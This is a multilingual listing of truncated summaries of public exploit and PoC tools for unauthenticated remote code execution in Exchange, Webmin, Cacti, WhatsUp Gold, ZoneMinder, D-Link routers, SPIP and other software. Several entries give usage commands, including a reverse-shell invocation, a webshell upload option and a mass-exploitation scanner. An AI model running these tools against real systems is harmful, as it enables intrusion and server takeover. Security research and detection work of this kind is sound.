Exch-CVE-2021-26855_Priv

Exch-CVE-2021-26855 ProxyLogon は CVE-2021-26855 の正式な総称であり、Microsoft Exchange Server の脆弱性で、攻撃者が認証をバイパスして管理者になりすますことを可能にします。このバグは、別の認証後任意ファイル書き込み脆弱性 CVE-2021-27065 とチェーンすることで、コード実行を実現しています。影響を受けるすべてのコンポーネントはデフォルトで脆弱です！ その結果、認証されていない攻撃者は、開かれている 443 ポートのみを介して Microsoft Exchange Server 上で任意のコマンドを実行できま...

webmin_1.920

CVE-2019-15107 Webmin 1.920 未认证远程命令执行 一个针对 CVE-2019-15107 Webmin 1.920 未认证远程命令执行的 Python3 脚本，它利用 mkfifo 创建反向 Shell 或伪交互式 Shell 以绕过防火墙。 开始使用 执行程序 使用 python3 root@kitploit: python3 webmin.py -t https://webmin.site/ -lhost 127.0.0.1 -lport 9001 正向 Shell 防火墙绕过 root@kitploit: python3 webmin.py -t...

CVE-2022-46169

CVE-2022-46169 漏洞利用 针对 Cacti 1.2.19 中 CVE-2022-46169 漏洞的利用工具 选项 root@kitploit: -u --url 目标URL -f --forwarded 用于绕过认证的X-Forwarded值 -m --mode: check 用于检查易受攻击的服务器，或 exploit 用于有趣的利用模式 :D 使用 root@kitploit: 1. $ ./cve202246169.py -u http://10.10.10.10/cacti -f 10.10.10.10 -m exploit 2. $ ./cve202246169....

CVE-2026-33057---Mesop-Unauthenticated-RCE-PoC-and-yara-rules

CVE-2026-33057---Mesop-Unauthenticated-RCE-PoC-and-yara-rules CVE-2026-33057 - Mesop 未认证 RCE PoC 和 yara 规则 说实话，我不确定它是否有效，可能不会有效，但你还是试试吧... BİO 和捐赠：https://guns.lol/hackpatato cve 简介：https://socradar.io/free-tools/cve-radar/CVE-2026-33057 和...

CVE-2026-9198

🚨 CVE-2026-9198 IBM Langflow OSS RCE no autenticado mediante omisión de auto-login 📋 Resumen CVE-2026-9198 es una vulnerabilidad crítica de ejecución remota de código RCE no autenticada en IBM Langflow OSS. Este exploit encadena dos vulnerabilidades: CVE-2026-9103 : Omisión del auto-login que...

CVE-2024-4883

CVE-2024-4883 CVE-2024-4883 的 PoC：Progress WhatsUp Gold WriteDatafile 未授权远程代码执行（CVE-2024-4883） 技术分析 漏洞的根本原因分析可在我博客上找到： https://summoning.team/blog/progress-whatsup-gold-WriteDataFile-CVE-2024-4883-RCE/ 用法 root@kitploit: WhatsUpWriteDataFileExploit.exe --target 192.168.0.11 --port 9643 --webshell...

CVE-2019-15107-Exploit

CVE-2019-15107 Exploit en Python Este exploit es para CVE-2019-15107 Webmin 1.890-1.920 RCE sin autenticación implementado en Python. Uso root@kitploit: python3 webminExploit.py python3 webminExploit.py 10.200.198.200 10000 whoami python3 webminExploit.py 10.200.198.200 10000 "curl -h"...

CVE-2023-47253

CVE-2023-47253 | Qualitor povoaVoComArray$REQUEST; if inarray$REQUEST'nmalias', array'dtiniciomesatual', 'dtfimmesatual', 'dtiniciomespassado', Prueba de Concepto PoC Simplemente accede a la URL con tu código PHP en el parámetro "gridValoresPopHidden"...

zoneminder-snapshots-rce-poc

Zoneminder 通过快照的未授权远程代码执行 CVE-2023-26035 POC 这是一个用Python编写的脚本，允许利用Zoneminder 的安全漏洞，该漏洞描述于CVE-2023-26035 。该系统在1.36.33 和1.37.33 之前的版本中易受攻击。 使用方法 克隆仓库到你的机器，并使用pip 安装依赖项（建议使用virtualenv 创建一个环境，将这些安装与全局安装隔离开来） root@kitploit: git clone https://github.com/m3m0o/zoneminder-snapshots-rce-poc cd...

CVE-2020-14882-weblogicRCE

Detección de RCE en el "WebLogic Server" de Oracle CVE-2020-14882 / CVE-2020-14750 Resumen: Detección de intentos de explotar CVE-2020-14882 y CVE-2020-14750: RCE no autenticado en el servidor WebLogic de Oracle. Referencias: Avisos de Oracle: CVE-2020-14882...

CVE-2024-23692

POC - Rejetto HTTP 文件服务器中的未认证 RCE 漏洞 - CVE-2024-23692 概述 POC - Rejetto HTTP 文件服务器中的未认证 RCE 漏洞 - CVE-2024-23692 CVE-2024-23692 - YouTube CVE-2024-23692 是 Rejetto HTTP 文件服务器（HFS）2.3m 版本中的一个严重漏洞，允许未经认证的远程代码执行（RCE）。 该漏洞使攻击者能够在服务器上执行任意代码，带来严重的安全风险。在本文中，我们探讨 Rejetto HFS、受影响的版本、该漏洞的影响，以及其发现和修复的时间线。 阅读相关...

CVE-2025-7384

CVE-2025-7384 — PHP 对象注入到远程代码执行（RCE） 插件： Database for Contact Form 7 contact-form-entries ≤ 1.4.3 CVSS： 9.8（严重） CWE： CWE-502 — 不可信数据反序列化 认证要求： 无（未认证） 影响： 远程代码执行 目录 1. 漏洞概述 2. 相关概念 3. 根因分析（源码 + 调试） 4. 攻击链 5. 分步复现（POC） 6. 影响评估 7. 修复措施 1. 漏洞概述 “Database for Contact Form...

CVE-2022-26134

CVE-2022-26134 Confluence Server y Data Center - CVE-2022-26134 - Vulnerabilidad crítica de ejecución remota de código sin autenticación...

CVE-2024-42640

CVE-2024-42640 通过 Angular-Base64-Upload 库实现未经身份验证的远程代码执行 CVE-2024-42640 Angular-base64-upload 的版本 v0.1.21 之前存在一个漏洞，攻击者可通过 angular-base64-upload/demo/server.php 端点实现未经身份验证的远程代码执行。利用此漏洞，攻击者可将任意文件内容上传至服务器，随后通过 angular-base64-upload/demo/uploads 端点访问这些文件。这会导致先前上传的内容被执行，最终使攻击者能够在服务器上执行代码。...

CVE-2025-20281-Cisco

CVE-2025-20281 - Cisco ISE RCE 漏洞检测工具 此脚本用于检测 Cisco Identity Services Engine ISE 和 ISE-PIC 中是否存在 CVE-2025-20281 漏洞，该漏洞允许未经身份验证的攻击者由于特定 API 中输入验证不足而执行 未经身份验证的远程代码执行 RCE ，并以 root 权限运行。 本工具仅供授权的安全测试和教育目的使用。请勿将其用于您无权测试或不属于您自己的系统。 关于漏洞 CVE-2025-20281 允许一个 未经身份验证的远程攻击者 通过提交特制的 API 请求，以 root...

CVE-2011-2523

Exploit de puerta trasera vsftpd 2.3.4 Servidor FTP: vsftpd Versión vulnerable: 2.3.4 CVE: CVE-2011-2523 Vulnerabilidad: se abre una puerta trasera en el puerto 6200 cuando el usuario introducía cadenas que añadían : al parámetro USER de FTP. Notas: La RCE no requiere autenticación...

CVE-2019-16920-MassPwn3r

多个D-Link路由器的0day漏洞利用 漏洞存在于以下D-Link产品的最新固件中： DIR-655 DIR-866L DIR-652 DHP-1565 当前描述 在D-Link产品（如DIR-655C、DIR-866L、DIR-652和DHP-1565）中存在未认证的远程代码执行漏洞。该问题出现在攻击者向"PingTest"设备通用网关接口发送任意输入时，可能导致常见的注入攻击。成功触发命令注入的攻击者能够完全控制整个系统。后来，独立发现以下型号也受影响：DIR-855L、DAP-1533、DIR-862L、DIR-615、DIR-835和DIR-825。 使用方法...

liferay-ga4-rce-research

Liferay CE 7.0.3 GA4 — Investigación de Vulnerabilidades RAPTOR Loop-Hunt Una auditoría de seguridad de Liferay Portal CE 7.0.3 GA4 git tag 7.0.3-ga4, commit b2d7cc68a realizada con la metodología RAPTOR loop-hunt : reconocimiento determinista → 25 agentes generadores aislados leyendo el código...

wp2shell-scan

wp2shell-scan Un escáner y kit de prueba de concepto para CVE-2026-63030 wp2shell, una vulnerabilidad de ejecución remota de código sin autenticación en el núcleo de WordPress Características Dos métodos de detección no destructivos: --check-type time-based temporización SLEEP y --check-type...

CVE-2024-7954

CVE-2024-7954 此漏洞利用程序将尝试在SPIP目标上执行系统命令CVE-2024-7954。 概述 这是一个针对CVE-2024-7954的批量扫描与利用工具：SPIP 4.2.8允许未经认证的攻击者在SPIP目标上执行远程代码执行。该工具基于此安全研究。 使用方法 安装脚本依赖： root@kitploit: pip install -r requirements.txt 选项： root@kitploit: POC for SPIP 4.2.8 vulnerability options: -h, --help show this help message and exi...